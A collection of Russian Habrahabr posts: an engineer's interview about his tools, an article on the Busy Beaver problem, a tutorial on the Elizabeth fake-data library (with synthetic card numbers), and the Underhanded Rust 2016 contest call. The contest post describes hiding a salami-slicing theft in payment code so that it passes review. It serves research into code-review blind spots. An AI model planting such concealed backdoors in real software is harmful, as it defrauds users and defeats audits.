работа. Каким todo-менеджером пользуетесь? У нас в компании есть несколько продуктов. Один из них – собственная разработка, которая называется Timer. Она предназначена для учета времени и максимально быстрой раздачи тасков. У нас часто бывает так, что задачи приезжают в большом количестве, и с ними срочно нужно что-то сделать. Если мы будем запускать стандартную для многих ИТ-компаний процедуру управления задачами через JIRA, за это время «мир обрушится», и что-нибудь произойдет. Еще я пользуюсь Google Calendar. А недавно я открыл для себя более удобный календарь – Fantastical. А для более важных задач у меня дома висит белая доска, разделенная на три части – «сегодня», «завтра» и «когда-нибудь». Каким issue-tracker’ом / репозиторием пользуетесь? Timer также является и нашим issue-tracker’ом. Некоторое время мы использовали Redmine, но под наши задачи нужно что-то более специфическое. Большинство этих трекеров рассчитано либо на разработку, либо на сильно бюрократизированную эксплуатацию. Для публичных вещей у нас используется GitHub, а для непубличных свой Git-репозиторий. Какие инструменты, фреймворки вы используете для разработки? У нас активно используется vim: мы часто решаем низкоуровневые задачи. Интенсивно используется Git – как концепция. Мы часто применяем в работе Linux-утилиты, например, Perf. Есть ли в вашей компании какие-то внутренние проекты, библиотеки и для чего они создавались? Мы пишем много чисто рабочего софта. В основном это админские вещи. Мы работаем с open source, а это часто требует каких-то «обвязок». Они вырастают в целые проекты, которые мы поддерживаем или выкладываем в open source. Что вас раздражает больше всего, когда вы работаете? Я, как и все технари, не очень люблю перебирать бумажки. Но я понимаю, что это нужно для того, чтобы заниматься тем, чем тебе интересно. Какую профессиональную литературу вы могли бы порекомендовать? Я работаю с базами данных. Поэтому могу порекомендовать несколько книг по этой теме. Transactional Information Systems. Gerhard Weikum and Gottfried Vossen ISBN: 978-1-55860-508-4 — это фундаментальный учебник по алгоритмам обработки данных – про работу с транзакциями, с восстановлением, с конкурентным доступом. Лучшая книжка в этой области. Еще одна книга про устройство баз данных — Architecture of a Database System. Joseph M. Hellerstein, Michael Stonebraker and James Hamilton. Это такой ликбез. Любому человеку, работающему в ИТ, будет полезно ее прочитать. В ней мало написано про реляционную алгебру, но там много именно про то, как устроены базы данных алгоритмически. Эти две книги настойчиво рекомендую. Что предпочитаете: электронные читалки или бумажные книги? Предпочитаю бумажные книги, но читаю в основном электронные. Это довольно банально: если я хочу видеть на своей полке хорошую художественную книгу, я куплю ее в бумажном виде. Но если речь идет о профессиональной литературе, я пользуюсь электронными книгами. По базам данных выходит очень много новых книг. И если я буду покупать их в бумажном виде, то очень скоро буду жить среди книг, которые очень быстро устареют. Какую технику (компьютеры, планшеты, смартфоны) и операционные системы вы предпочитаете на работе и дома? По историческим причинам я давно пользуюсь Mac OS – еще со времен девятой версии. В целом я доволен. Не вижу особого смысла переходить на Windows или Linux, но идеологически я не привязан к этому. Иногда посещает идея поставить себе на лэптоп Linux и как-то это использовать. Но меня останавливает отсутствие некоторых вещей, хотя, можете мне поверить, я смог бы легко установить и использовать Linux (смеется). Для десктопа это не самая подходящая система. Возможно, в чем-то я не совсем доволен Mac OS, но я использую его как привычный и удобный для меня «стек». Основной телефон у меня на iOS. Недавно взял для эксперимента телефон на Android и тут же убедился в правильности выбора Apple. Возможно, на Android есть какие-то более интересные фичи, чем на iOS, но у него большие проблемы с интеграцией этих фич. Проблема примерно такая же, как у Linux на десктопе. Какой лайфхак позволяет вам быть эффективнее? Прием самый простой: если что-то очень не хочется делать, надо сесть и делать. Как говорил один мой знакомый: «Когда мне нужно было написать какую-то неприятную бумагу, я покупал себе бутылочку коньяка, колбаски и не спеша делал это дело» (смеется). Без каких приложений и сервисов не можете обойтись ни в работе, ни в личной жизни? Да, есть еще одна вещь, без которой я свою жизнь не представляю. Несмотря на наличие хороших популярных почтовых клиентов, я пользуюсь mutt. Особенно это важно для рабочей почты, так как ее объем существенно превышает личную. Что бы написал Илья Космодемьянский 10 лет назад в письме в будущее самому себе? Я бы, наверное, посоветовал себе более глубоко и системно изучать многие основополагающие вещи в ИТ (я учил вообще биологию). Может быть, это пригодилось бы мне. Мне было труднее многое осваивать из-за того, что не было базы. Но зато, изучая все самостоятельно, я мог выбирать по-настоящему хорошие импортные учебники. А это дорогого стоит. Хотя, с другой стороны, я не хотел бы повторять какие-то вещи. Если бы я больше занимался изучением UNIX и баз данных, был бы сейчас системным программистом в какой-нибудь компании. Но гораздо больше меня устраивает то, кем я являюсь сейчас. У вас пройден огромный путь. А кто-то сейчас стоит в начале этого пути. Что бы вы порекомендовали человеку, пытающемуся пройти тот же путь? Владимир Ильич уже все сказал: «Учиться, учиться и еще раз учиться». Не надо останавливаться, нужно постоянно смотреть на какие-то новые вещи, даже если они тебе кажутся полной глупостью. Это процесс хорошо стимулирует мозговую деятельность. Но и чересчур увлекаться тоже не стоит. Есть люди, которые гонятся только за тем, чтобы сделать что-то сверхновое. Люди, которые идут в ИТ, на мой взгляд, должны запомнить одну простую вещь: в программировании, да и в отрасли в целом, очень мало хайтека и много рутины типа рисования новых формочек. Сейчас тема ИТ немного «перегретая», поэтому людям нужно быть готовыми к тому, что им на самом деле придется делать. И это нужно очень сильно любить.
https://habrahabr.ru/post/318112/
habrahabr
Невычислимые функции на примере Busy Beaver Game
['busy beaver game', 'тьюринг', 'большие числа', 'вычислительная сложность', 'функции', 'hypercomputation', 'halting problem']
Компьютеры проникли в большинство сфер жизни человека и продолжают развиваться. Автопилот, банковская сфера, машинный перевод, медицина, финансовые рынки, полеты в космос — все это возможно...
Компьютеры проникли в большинство сфер жизни человека и продолжают развиваться. Автопилот, банковская сфера, машинный перевод, медицина, финансовые рынки, полеты в космос — все это возможно благодаря одной простой идее. В этой статье я предлагаю заглянуть за границы возможностей компьютеров и рассмотреть чего же они не могут. И почему. Алан Тьюринг еще в 30-е годы обозначил невозможные для компьютера задачи. Машина Тьюринга Если быть предельно точным, то та самая публикация Тьюринга, которая положила начало компьютерным наукам[1], была именно о вычислимых функциях, что подчеркивает существование границы, которую не может перешагнуть машина Тьюринга. Машина Тьюринга(МТ) — это абстрактная вычислительная машина, тесно связанная с понятием алгоритма[10]. Это самый простой компьютер. Также стоит помнить, что любая функция, которая может быть вычислена физическим устройством, может быть вычислена машиной Тьюринга[2]. Это ведет к тому, что все выводы касающиеся абстрактной машины Тьюринга, полностью применимы к любым компьютерам на любой архитектуре. Невычислимые функции и проблема остановки Проблему остановки[3] можно сформулировать как: не существует общего алгоритма, который бы мог определить, остановится ли программа, по ее описанию и входным данным. Т.е. функция определения остановки невычислима. Доказательства можно найти в Википедии. На практике это выглядит так — сам компьютер никогда не сможет определить точно, зависнет ли его очередная программа в бесконечном потоке инструкций или нет. А ведь написанные человеком программы ой как несовершенны. Одна известная попытка решить эту задачу возникла в недрах Майкрософт под названием Microsoft Terminator[4]. В Microsoft хотели уменьшить количество забагованных драйверов к железу путем построение автоматической системы проверки их на корректность. Они пытались построить инструмент доказательства корректности математической модели программы. О положительных результатах мне не известно, но, думаю, частично повысить стабильность драйверов им удалось. Busy Beaver Game Эту задачу в 1962 году обозначил венгерский математик Tiber Rado, в статье "On non-computable functions"[5]. При помощи аналогии с бобром, он объяснял машину Тьюринга, но название закрепилось. Еще в этой статье было упомянуто самое большое число, известное на то время. Если ограничить машину Тьюринга(MT) N состояниями, то можно создать конечное число машин. При росте количества состояний N, количество возможных машин Тьюринга растет быстрее чем экспоненциально: (4(n+1))^2n. Среди оставшихся МТ будут два типа — те, что останавливаются и нет. Rado задался одним вопросом в двух формулировках: Какое максимальное количество операций может совершить МТ с N состояниями до своего завершения. Это и называют числом Busy Beaver, обозначается как BB(n) или S(n). Какое максимально количество единиц может напечатать МТ с N на пустой ленте до завершения. Обозначается как Σ(n). Очевидно, что это число существует. И посчитав его, можно было бы проверить, завершается ли выполнение МТ за это число шагов. Если нет — очевидно, что она будет работать вечно, так как максимальный порог пройден. The Busy Beaver Game предлагает найти программу для машины Тьюринга с N состояниями, которая работает максимально долго и потом завершается. В качестве входных данных, лента машины Тьюринга заполнена нулями. Необходимо составить программу, которая заполнит ее максимальным числом единиц и завершится, перейдя в состояние HALT. Вот так выглядят правила для машины Тьюринга с двумя состояниями (N=2). Этот же пример является решением Busy Beaver для N=2. Выполнение программы происходит примерно так: Вся лента заполнена нулями в качестве входных данных. Начальное состояние — A. Считываем текущий бит — если это 1, то выполняем код A1, иначе — A0. Инструкции 1RB означают — записать на летну 1, перейти вправо, перейти в состояние B. Работа программы продолжается пока не наступит переход на состояние HALT(H) Рисунок 1. Визуализация пошаговой работы MT при N=2. Первая колонка — это номер шага. Вторая колонка показывает как меняются состояния МТ по мере выполнения. Третья колонка — состояния ленты, где видно очередность появления единиц на ней. Четвертая — траектория перемещения указателя по ленте. N=3 Рисунок 2. Решение Busy Beaver для задачи N=3 Рисунок 3. Визуализация пошаговой работы MT при N=3. N=4 Рисунок 4. Решение Busy Beaver для задачи N=4 Рисунок 5. Визуализация пошаговой работы MT при N=4. Вот такая елка, с Наступающим! Для отображения такого графа N=5 нам бы потребовалось 47,176,870 шагов минимум. При N=6, максимальное найденное на сегодня число Бобра S(6) = 7.4 × 10^36534. Для N=7 есть только предварительная оценка S(7) > Σ(7) > 10^10^10^10^18705352 [6] На сегодняшний день есть мнение, что люди могут найти S(6) и предоставить доказательства что оно максимальное. S(7) же абсолютно недоступно[8]. Существуют различные вариации: на ленту можно записывать 3,4,5,6 символов, вместо {0,1}. При этом числа только растут. Как решают эту задачу? Общий подход к решению выглядит как разделение всех возможных машин Тьюринга на следующие классы: Tree-normalized : эти машины исключены из пространства поиска, потому что доказанно, что они эквивалентны другим МТ или их поведение очевидно[8] Candidate-halter : Машины, которые гарантированно останаливаются — это кандидаты на звание чемпионов Busy Beaver Game. Non-candidate-halter : останавливаюстя, но не удовлетворяют определенным требованиям. Non-halter : множество мелких классов для каждого из которых проявляет специфическое поведение связанное с не остановкой. Holdouts : все что осталось, при том не ясно останавливаются или нет эти машины. Когда этот класс окажется пустым, можно считать задачу Busy Beaver решенной. При помощи нормализации по дереву(tree normalization) можно значительно сократить количество МТ. Примером метода tree normalization может служить удаление половины МТ, где первый шаг делается влево. Потому как существует аналогичная зеркальная машина, которая начинает движение вправо[8].* Сверхтьюринговые вычисления Если бы удалось построить машину для расчета BB(n), это была бы уже сверхтьюринговая машина. Сверхтьюринговые вычисления — это такие вычисление, которые не могут быть проделаны на машине Тьюринга[9]. Но можно ли построить физический сверхтьюринговый компьютер[7]? Важный вопрос для создания Сильного Искусственного Интеллекта — оперирует ли разум человека только тьюринговыми вычислениями? Заключение Зачем пытаться решить нерешаемую задачу? Может потому, что пограничные случаи в математике открывают всю полноту исходной теории. The Busy Beaver Game тесно связана с теорией вычислимости, проблемой остановки и теорией сложности. Еще эта задача заставила меня задуматься — что же такого может вычислить машина Тьюринга на протяжении чуть менее чем бесконечность? Ссылки [1] On Computable Numbers [2] Тезис Черча-Тьюринга [3] Проблема остановки [4] Microsoft Terminator [5] On non-computable functions [6] Good bound for S(7) [7] Hypercomputation: Hype or Computation? [8] The complex behavior of simple machines. Rona Machilin [9] Сверхтьюринговые вычисления [10] Машина Тьюринга [11] Python and C++ sources by by Peteris Krumins
https://habrahabr.ru/post/317996/
habrahabr
Генерация фиктивных данных с Elizabeth: Часть I
['python', 'fake', 'data', 'dummy', 'django', 'flask', 'питон', 'фейк', 'данные', 'джанго']
Elizabeth — это библиотека для языка программирования Python, которая помогает генерировать фиктивные данные. Один из простейших примеров использования библиотеки — это заполнение баз данных для...
Elizabeth — это библиотека для языка программирования Python, которая помогает генерировать фиктивные данные. Один из простейших примеров использования библиотеки — это заполнение баз данных для приложений на Flask или Django. На данный момент библиотека поддерживает 20 языковых стандартов и 19 классов-провайдеров, предоставляющих разного рода данные. Возможность генерировать фиктивные, но в то же время валидные данные бывает очень полезна при разработке приложений, которые подразумевают работу с базой данных. Ручное заполнение базы данных представляется довольно сложным и изнурительным процессом, но по-настоящему все усложняется в тот момент, когда требуется сгенерировать не 10-15 пользователей, а 100-150 тысяч. В этой статье я постараюсь обратить ваше внимание на инструмент, который в разы упрощает процесс начальной загрузки базы данных на всех этапах разработки и тестирования. Общая информация В представленной ниже таблице приведены поддерживаемые языковые стандарты. № Code Name Native name 1 cs Czech Česky 2 da Danish Dansk 3 de German Deutsch 4 en English English 5 en-gb British English English 6 es Spanish Español 7 fa Farsi فارسی 8 fi Finnish Suomi 9 fr French Français 10 hu Hungarian Magyar 11 is Icelandic Íslenska 12 it Italian Italiano 13 ko Korean 한국어 14 nl Dutch Nederlands 15 no Norwegian Norsk 16 pl Polish Polski 17 pt Portuguese Português 18 pt-br Brazilian Portuguese Português Brasileiro 19 ru Russian Русский 20 sv Swedish Svenska Поддерживаемые классы-провайдеры: № Provider Description 1 Address Address data (street name, street suffix etc.) 2 Business Business data (company, company_type, copyright etc.) 3 Code Codes (ISBN, EAN, IMEI etc.). 4 ClothingSizes Clothing sizes (international sizes, european etc.) 5 Datetime Datetime (day_of_week, month, year etc.) 6 Development Data for developers (version, programming language etc.) 7 File File data (extension etc.) 8 Food Information on food (vegetables, fruits, measurements etc.) 9 Personal Personal data (name, surname, age, email etc.) 10 Text Text data (sentence, title etc.) 11 Transport Dummy data about transport (truck model, car etc.) 12 Network Network data (IPv4, IPv6, MAC address) etc 13 Science Scientific data (scientist, math_formula etc.) 14 Structured Structured data (html, css etc.) 15 Internet Dummy internet data (facebook, twitter etc.) 16 Hardware The data about the hardware (resolution, cpu, graphics etc.) 17 Numbers Numerical data (floats, primes, digit etc.) 18 Path Provides methods and property for generate paths. 19 Generic All at one Установка Установка Elizabeth производится как обычно, т.е посредством пакетного менеджера pip : ➜ ~ pip install elizabeth Если по каким-то причинам у вас не получается установить пакет с помощью pip , то попробуйте установить его вручную, как показано ниже: (venv) ➜ ~ git clone https://github.com/lk-geimfari/elizabeth.git (venv) ➜ cd elizabeth/ (venv) ➜ python3 setup.py install Генерация Изначально я планировал показать генерацию данных на примере небольшого Flask-приложения, но решил отказаться от этой идеи, по той причине, что не все знакомы с Flask. Поэтому я буду показывать все на чистом Python. В случае, если вы захотите перенести все в свой проект, то вам нужно всего лишь определить статический метод в теле вашей модели и вызывать его в тот момент, когда нужно выполнить начальную загрузку БД, как показано ниже. Модель для Flask (Flask-SQLAlchemy) будет выглядеть как-то так: # ... class Patient(db.Model): id = db.Column(db.Integer, primary_key=True) email = db.Column(db.String(120), unique=True) phone_number = db.Column(db.String(25)) full_name = db.Column(db.String(100)) weight = db.Column(db.String(64)) height = db.Column(db.String(64)) blood_type = db.Column(db.String(64)) def __init__(self, **kwargs): super(Patient, self).__init__(**kwargs) @staticmethod def _bootstrap(count=2000, locale='en'): from elizabeth import Personal person = Personal(locale) for _ in range(count): patient = Patient(email=person.email(), phone_number=person.telephone(), full_name=person.full_name(gender='female'), weight=person.weight(), height=person.height(), blood_type=person.blood_type() ) db.session.add(patient) try: db.session.commit() except Exception: db.session.rollback() Переходим в shell-mode: (venv) ➜ python3 manage.py shell И генерируем данные, предварительно убедившись в том, что база данных и подопытная модель доступны. >>> db <SQLAlchemy engine='sqlite:///db_dev.sqlite'> >>> Patient <class 'app.models.Patient'> >>> Patient()._bootstrap(count=40000, locale='ru') # Сгенерировать 40к записей. Практика применения Хотелось бы отметить, что я буду приводить в примерах только базовые возможности библиотеки и, в основном, обойдусь несколькими наиболее часто встречающимися классами-провайдерами, ибо их слишком много, чтобы рассказывать обо всех. Если статья возбудит в вас интерес к библиотеке, то вы сможете найти ссылки на проект и на документацию в самом конце статьи и самостоятельно все изучить. Библиотека устроена довольно просто и все, что вам необходимо для того, чтобы начать работать с данными — это создать экземпляр класса-провайдера, как показано в примере, что ниже: # Импортируем нужный класс-провайдер. >>> from elizabeth import Personal # Создаем его (класса-провайдера) экземпляр >>> user = Personal('is') # Выводим исландские мужские имена. >>> for _ in range(0, 9): user.full_name(gender='male') Karl Brynjúlfsson Rögnvald Eiðsson Vésteinn Ríkharðsson Friðleifur Granason Fjarki Arngarðsson Hafsteinn Þrymsson Sívar Kakalason Grímnir Unason Gýmir Þórðsson Мы можем генерировать и e-mail адреса. Код ниже создаст 50к email адресов. >>> user = Personal('ru') >>> emails = [user.email(gender='female') for _ in range(0, 50000)] Вывод (сокращенный): [ lvana6108@gmail.com', 'demetrice3816@live.com', 'alayna7278@yahoo.com', 'maida5494@outlook.com', ... ] Сгенерировать имя, день рождения и группу крови: >>> from elizabeth import Generic >>> g = Generic('pl') # согласно стандарту ISO 639-1, pl - это код Польши. >>> for _ in range(0, 5): name = g.personal.full_name() birthday = g.datetime.birthday(readable=True) blood = g.personal.blood_type() name + '-' + birthday + '/' + blood Ibolya Smolik - Listopad 11, 1997 / B− Lonisława Podsiadło - Styczeń 20, 1989 / AB+ Loritta Boguski - Październik 11, 1990 / A− Laurentyna Kowalczyk - Lipiec 16, 1993 / B− Gelazyna Wawrzyniak - Październik 12, 2000 / B− Можете генерировать и пользователей разного пола: >>> from random import choice >>> user = Personal('en') >>> for _ in range(0, 20): title = user.title(type_='academic') name = user.full_name(choice(['female', 'male'])) '{0}, {1}'.format(name, title) Sid Powell, M.Des Vanita Christensen, M.D. Vania Grant, DPhil Chester Valenzuela, MSc Georgeann Sanders, D.Ed. Dong Clay, DPhil Lala Vang, DPhil Alden Nieves, M.A. Deloise Erickson, B.A. Willow Cox, M.D. Belia Lowery, Prof. Shirley Thompson, M.Des Tracey Dickson, PhD Alexis Newton, D.Ed. Leland Gay, D.Ed. Noel Joseph, MMath Oda Ryan, B.A. Alan Sharp, B.A. Bernardina Solomon, Prof. Paul Caldwell, M.D. Сгенерировать фиктивных держателей карты Visa: user = Personal('en') def get_card(sex='female'): owner = { 'owner': user.full_name(sex), 'exp_date': user.credit_card_expiration_date(maximum=21), 'number': user.credit_card_number(card_type='visa') } return owner for _ in range(0, 10): print(get_card()) {'exp_date': '02/20', 'owner': 'Laverna Morrison', 'card_number': '4920 3598 2121 3328'} {'exp_date': '11/19', 'owner': 'Melany Martinez', 'card_number': '4980 9423 5464 1201'} {'exp_date': '01/19', 'owner': 'Cleora Mcfarland', 'card_number': '4085 8037 5801 9703'} {'exp_date': '06/21', 'owner': 'Masako Nielsen', 'card_number': '4987 3977 4806 4598'} {'exp_date': '02/18', 'owner': 'Ji Reid', 'card_number': '4371 5151 1188 6594'} {'exp_date': '12/19', 'owner': 'Kacie Huff', 'card_number': '4053 2310 5641 6849'} {'exp_date': '05/19', 'owner': 'Violette Hurst', 'card_number': '4333 5939 9634 8805'} {'exp_date': '07/16', 'owner': 'Shenika Moreno', 'card_number': '4509 3525 9097 4027'} {'exp_date': '09/20', 'owner': 'Gianna Thompson', 'card_number': '4637 4384 3001 5237'} {'exp_date': '05/19', 'owner': 'Pa Mccoy', 'card_number': '4290 9075 7914 2028'} Сгенерировать модель грузового автомобиля (если сайт ориентирован на грузоперевозки или на иную деятельность, связанную с транспортом): >>> trans = Transport() >>> for _ in range(0, 5): trans.truck() Seddon-2537 IM Karrier-7799 UN Minerva-5567 YC Hyundai-2808 XR LIAZ-7174 RM Ну или можно указать маску модели: >>> for _ in range(0, 5): trans.truck(model_mask="##@") # ## - числа, @ - буквы Henschel-16G Bean-44D Unic-82S Ford-05Q Kalmar-58C А вот так можно сгенерировать текст: >>> text = Text('ru') >>> print(text.text(quantity=5)) # quantity - показатель количества предложений. 'Язык включает в себя средства порождения параллельных легковесных процессов и их взаимодействия через обмен асинхронными сообщениями в соответствии с моделью акторов. Python поддерживает несколько парадигм программирования, в том числе структурное, объектно-ориентированное, функциональное, императивное и аспектно-ориентированное. Например, определение функции, которое использует сопоставление с образцом, для выбора одного из вариантов вычисления или извлечения элемента данных из составной структуры, напоминает уравнение. Сопоставление с образцом распространено даже на битовые строки, что упрощает реализацию телекоммуникационных протоколов. Haskell — стандартизированный чистый функциональный язык программирования общего назначения.' Получить алфавит текущей локали можно так: >>> text = Text('fa') >>> text.alphabet() ['ا', 'ب', 'پ', 'ت', 'ث', 'ج', 'چ', 'ح', 'خ', 'د', 'ذ', 'ر', 'ز', 'ژ', 'س', 'ش', 'ص', 'ض', 'ط', 'ظ', 'ع', 'غ', 'ف', 'ق', 'ک', 'گ', 'ل', 'م', 'ن', 'و', 'ه', 'ی'] Можно получить список слов: >>> text = Text('pt-br') >>> text.words(quantity=50) ['poder', 'de', 'maior', 'só', 'cima', 'Singularidades', 'mudou', 'ficará', 'năo', 'vossas', 'prata', 'chorar', 'c', 'Equilíbrio', 'drogas', 'paul', 'simplesmente', 'querido', 'vendo', 'material', 'apartamento', 'postar', 'básico', 'com', 'papá', 'cor', 'símbolo', 'ocupado', 'armas', 'vidro', 'roda', 'droga', 'serve', 'menina', 'cor', 'semente', 'solução', 'controle', 'desapareceu', 'livros', 'voltar', 'melhores', 'Menos', 'quantas', 'pensar', 'estas', 'jogar', 'personagem', 'personagem', 'cabelo'] Можно сгенерировать название улицы: >>> address = Address('ru') >>> street = address.address() 'ул. Хабаровская 651' Или получить субъект РФ: >>> subject = address.state() >>> subject 'Кировская область' Сгенерировать координаты: >>> for _ in range(15): address.coordinates() {'latitude': -28.362892454682246, 'longitude': 11.512065821275826} {'latitude': 88.6508382607752, 'longitude': 106.65769171105143} {'latitude': 37.83559264558106, 'longitude': 152.45098344872065} {'latitude': -13.876545618251413, 'longitude': -52.192814272082956} {'latitude': 66.24928144869963, 'longitude': -128.7755343668871} {'latitude': 38.294693362179856, 'longitude': -179.1208031527886} {'latitude': -52.987692529476554, 'longitude': -59.705094559802475} {'latitude': -33.69813204096576, 'longitude': 72.54315315052486} {'latitude': 83.91496334322997, 'longitude': 105.58095303015153} {'latitude': -83.45909366537177, 'longitude': -13.56788050796456} {'latitude': 20.41176475353275, 'longitude': 151.7257568261699} {'latitude': 63.52570687889795, 'longitude': 158.04375817974056} {'latitude': -78.51081206017261, 'longitude': 47.50148838136573} {'latitude': -81.94335735575271, 'longitude': -84.44100935967519} {'latitude': -80.30372095039073, 'longitude': 21.819487429596222} На самом деле возможностей очень много и потому кружится голова, когда пытаешься придумать что-то конкретное, но я почти уверен, что заинтересованные люди найдут много интересного для себя. Здесь вы можете найти вторую часть статьи. Github: lk-geimfari/elizabeth Read the Docs: elizabeth Спасибо за внимание и удачных тестов!
https://habrahabr.ru/post/318120/
habrahabr
Соревнование Underhanded Rust 2016
['rust', 'underhanded', 'взлом', 'хакеры', 'баги', 'код ревью', '1 похожа на l']
Команда связей с сообществом Rust рада сообщить о первом ежегодном соревновании Underhanded Rust. Это соревнование должно проверить наше предположение о готовности языка Rust и его экосистемы к...
Команда связей с сообществом Rust рада сообщить о первом ежегодном соревновании Underhanded Rust. Это соревнование должно проверить наше предположение о готовности языка Rust и его экосистемы к написанию легко читаемого и надежного кода. Воодушевившись примерами Underhanded C и Underhanded Crypto , мы хотим, чтобы вы заставили Rust работать неправильно, используя лёгкий для чтения код, к которому сложно придраться. Нам нужна ваша помощь в поиске брешей в языке и способов их исправления. Сможете ли вы написать стопроцентно безопасный код, скрывающий логическую ошибку, или так спрятать эксплойт в unsafe коде, чтобы он прошел аудит? Попробуйте это сделать! Проблема 2016: нарезать колбасу Поздравляем! Стартап "Четырехугольник", в котором вы работаете, вышел на рынок обработки платежей, и вам поручено написать бэкенд. Им не повезло. Вам окончательно надоела неоплачиваемая работа по вечерам и невыполненные обещания. Вы готовы уволиться, но, перед тем как уходить, вы решили заставить компанию заплатить за все. Ваша задача: Создайте простой веб-сервер, поддерживающий создание счетов и обработку платежей. Мы рекомендуем использовать один из многих веб-серверов написанных на Rust, например iron , nickel или pencil , но вы можете написать и свой. Платежная транзакция должна по меньшей мере включать номер счета, контрагента и сумму платежа. Предмет конкурса: осторожно отделите доли копейки от каждой транзакции, и переведите их на свой счет (эта атака также известна как salami slicing scam ). Сделайте это так, чтобы по исходному коду сложно было догадаться о происходящем. Вы можете вписать номер своего счета в код, или каким-то образом динамически добавить метаданные к счету, предназначенному для получения "отрезанных" сумм. Посмотрите документацию на API Square и Stripe , чтобы получить представление о том, что используется для реальной обработки платежей. Если вам не знаком язык Rust, мы рекомендуем начать с книги Язык программирования Rust или других переводов . Подсчет очков Короткие решения принесут больше очков, чем длинные, потому что они впечатляют больше и их легче читать. Решение принесет вам больше очков, если оно будет использовать баги в компиляторе Rust или стандартной библиотеке, особенно если они новые и не считаются серьезными. Это также относится к версиям компилятора, поставляемого с дистрибутивами, такими как Ubuntu или Fedora. Если вы действительно найдете баги в безопасности, мы просим отправить их сначала Rust Security Team , а обычные баги в issue tracker . В вашем решении в этом случае укажите какую версию Rust надо использовать, ведь эти баги уже могут быть исправлены ко времени проверки решения. Можете использовать контейнеры из crates.io (включая ваши собственные), и их размер не влияет на размер вашего решения, а также можете использовать любые существующе баги из этих контейнеров. Так же, как и с багами в Rust, мы просим вас отправлять их в исходный проект до окончания соревнований, а в ваших контейнерах указывать уязвимую версию в Cargo.toml следующим образом libc = "= 0.2.17" . Можете также имитировать добавление багов в зависимости. Для защиты нашей экосистемы, пожалуйста, не отправляйте эти изменения, вместо этого патчите форки проектов и ставьте их в зависимости с помощью зависимостей git или path . Такие патчи будут также просмотрены и засчитаны в ваше решение. Уязвимости, основанные на человеческом восприятии, как ошибки l вместо 1 , считаются такими же "сильными" ошибками. Цель проекта — хитрая уязвимость, которая пройдет визульную инспекцию, на каком принципе бы баг не основывался. То, что можно правдоподобно объяснить, как невинные ошибки при программирования принесет больше очков. Решение получит больше очков, если не будут использованы unsafe блоки. Однако умное использование unsafe блоков может принести дополнительные очки. Unsafe блоки обычно требуют повышенного внимания и если в них не будет очевидных уязвимостей, то это будет дополнительным бонусом. Дополнительные очки будут присвоены коду, включающему и проходящему свои собственные тесты. А также, если уязвимости не выявляются линтами rustc или clippy . Дополнительные очки за креативность и смешные баги. Руководство по отправке решений и сроки Посылайте ваши решения на mailto:underhanded@rust-lang.org до 1 Марта, 2017. Чтобы нам было легче оценивать решения, просим вас посылать их в следующем формате. Пожалуйста, присылайте их как архив ( .tar.gz , .tar.bz2 , .zip , и т.д.) со следующим содержимым: README — объяснение, как запустить уязвимость и проверить, что она работает, не зная ее техники. README-EXPLOIT — объяснение, как работает уязвимость и почему ее трудно найти. AUTHORS — список людей, работавших над уязвимостью. LICENSE — лицензия, под которой выпускается ваше решение (CC0, GPL, MIT, BSD, Apache, и т.д.). Ваш решение ДОЛЖНО включать лицензию. submission/ — Директория, содержащая техническую часть решения. blogpost/ — Директория, содержащая объяснение в виде "блог поста". Пожалуйста, напишите его в файле с Markdown разметкой. Пожалуйста, добавьте рисунки в эту директорию, если они помогут объяснить ваше решение. Возможно, необходимо дать более высокоуровневое объяснение, чем в README-EXPLOIT, ваш читатель может быть не такой опытный как судьи. Если у вас есть проблемы с написанием на английском, пожалуйста, отправьте нам решение на вашем языке, а мы поможем с переводом. Содержимое вашего решения должно быть под OSI или FSF одобренными лицензиями открытого кода. Хорошие кандидаты это CC-BY , MIT , BSD , GPL , и Apache 2.0 . Включите текст лицензии в файл LICENSE . Предполагается, что все, что вы нам пришлете, будет открыто, но мы не будем раскрывать решение до конца конкурса (кроме случая, если будет выявлена серьезная уязвимость). Файл AUTHORS должен содержать описание действий каждого участника команды. Авторы будут опубликованы в том же порядке, что и в файле, поэтому сами выбирайте в каком порядке их писать — начиная с самого активного или просто в алфавитном порядке или еще как-то. С каким автором в первую очередь связываться в вашей команде? Автор #1 ========= Какой у вас адрес электронной почты (необходимо указать)? Как вас зовут / псевдоним, которым вас можно назвать на сайте (необходимо указать)? На какой сайт вы хотели бы, чтобы мы дали ссылку (опционально)? Какой у вас Twitter (опционально)? Автор #2 ========= ... Плагиат строго запрещен. Можете основываться на предыдущих работах, но если вы не приведете их или не сможете объяснить, чем ваша работа отличается от них, ваше решение не будет принято. Приз Одна плюшевая игрушка ограниченного издания Ferris и наклейки победителю(-ям). Восхищение (и страх) от всех нас. Если хотите стать спонсором и подарить другие призы, пожалуйста, свяжитесь с нами по почте . Жюри В жюри будут входить члены команд Rust Core и Community, а также волонтеры из большого сообщества Rust. Объявление Победителя(-ей) Победитель будет объявлен где-то в районе июня 2017. Правила Организаторы соревнований, судьи, и спонсоры не имеют право участвовать в соревновании. Может отсутствовать возможность доставить призы победителю — например, он живет в стране, в отношении которой действует эмбарго или другие юридические ограничения. В таком случае, если призы не могут быть вручены, организаторы конкурса приложат все усилия, чтобы разрешить ситуацию в рамках действующего законодательства; если выясняется, что ситуация не разрешима, призы будут отданы на благотворительность. Если победитель не пожелает дать информацию, необходимую для доставки приза(ов), который он выиграл, приз(ы) будут переданы в благотворительный фонд. Специфические Rust призы (swag, и т.д.) будут выданы второму месту. Переведено участниками сообщества rustycrate.ru red75prim и @serejka512.
https://habrahabr.ru/post/318122/
habrahabr
Еще три онлайн-курса Mail.Ru Group в открытом режиме
['mail.ru', 'онлайн-курс', 'stepic', 'разработка', 'web-разработка']
C 5 по 15 декабря наш отдел образования Mail.Ru Group открыл в режиме без сроков и дедлайнов еще несколько курсов, записанных на платформе Stepik по мотивам занятий в Технопарке. Их можно...
